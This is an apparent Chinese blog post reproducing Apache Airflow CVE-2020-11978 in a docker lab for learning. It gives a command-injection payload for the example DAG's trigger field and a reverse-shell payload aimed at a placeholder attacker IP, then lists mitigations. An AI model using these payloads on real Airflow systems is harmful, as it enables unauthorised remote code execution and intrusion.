airflow/CVE-2020-11978复现学习

命令注入漏洞

docker-compose run airflow-init

docker-compose up -d   

哇真有点卡

影响版本

1.10.11之前

该示例利用了容易受到命令注入攻击的示例 DAG,该示例使用的是默认公开的试验性 REST API,即使网络接口设置了身份验证也是如此。

参考
GitHub - pberba/CVE-2020-11978: PoC of how to exploit a RCE vulnerability of the example DAGs in Apache Airflow <1.10.11

复现

访问

将这个改为on

选择Trigger DAG

{"message":"'\";touch /tmp/airflow_dag_success;#"}

执行成功会在靶机上的改路径创建一个airflow_dag_success文件

点击Trigger

到CeleryWorker容器中进行查看

docker-compose exec airflow-worker ls -l /tmp

可以看到执行成功

尝试反弹shell

{"message":"'\";bash -i >& /dev/tcp/攻击机ip/7777 0>&1;#"}

这里是成功了

防护措施

删除示例 DAG

如果通过在配置中设置 load_examples=False 已禁用示例,则不会受到攻击。您可以更新到 >=1.10.11 或删除易受攻击的 DAG,即 <1.10.11 的 example_trigger_target_dag。

拒绝访问实验性 API

如果您使用 >=1.10.11 启动新的 Airflow 实例,则默认情况下已在 airflow.cfg 中为 auth_backend 设置了 deny_all。

[api]
auth_backend = airflow.api.auth.backend.deny_all

 请注意,即使在 >=1.10.11 时,airflow.api.auth.backend.default 仍允许对 API 发起未经验证的请求。因此,如果您有一个 auth_backend = airflow.api.auth.backend.default 的现有 Airflow 实例,那么即使升级到 >=1.10.11,REST API 仍然是公开的。

对于 >=2.0.0,实验 API 已禁用,但拥有功能更强大的稳定 API。

  • 12
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值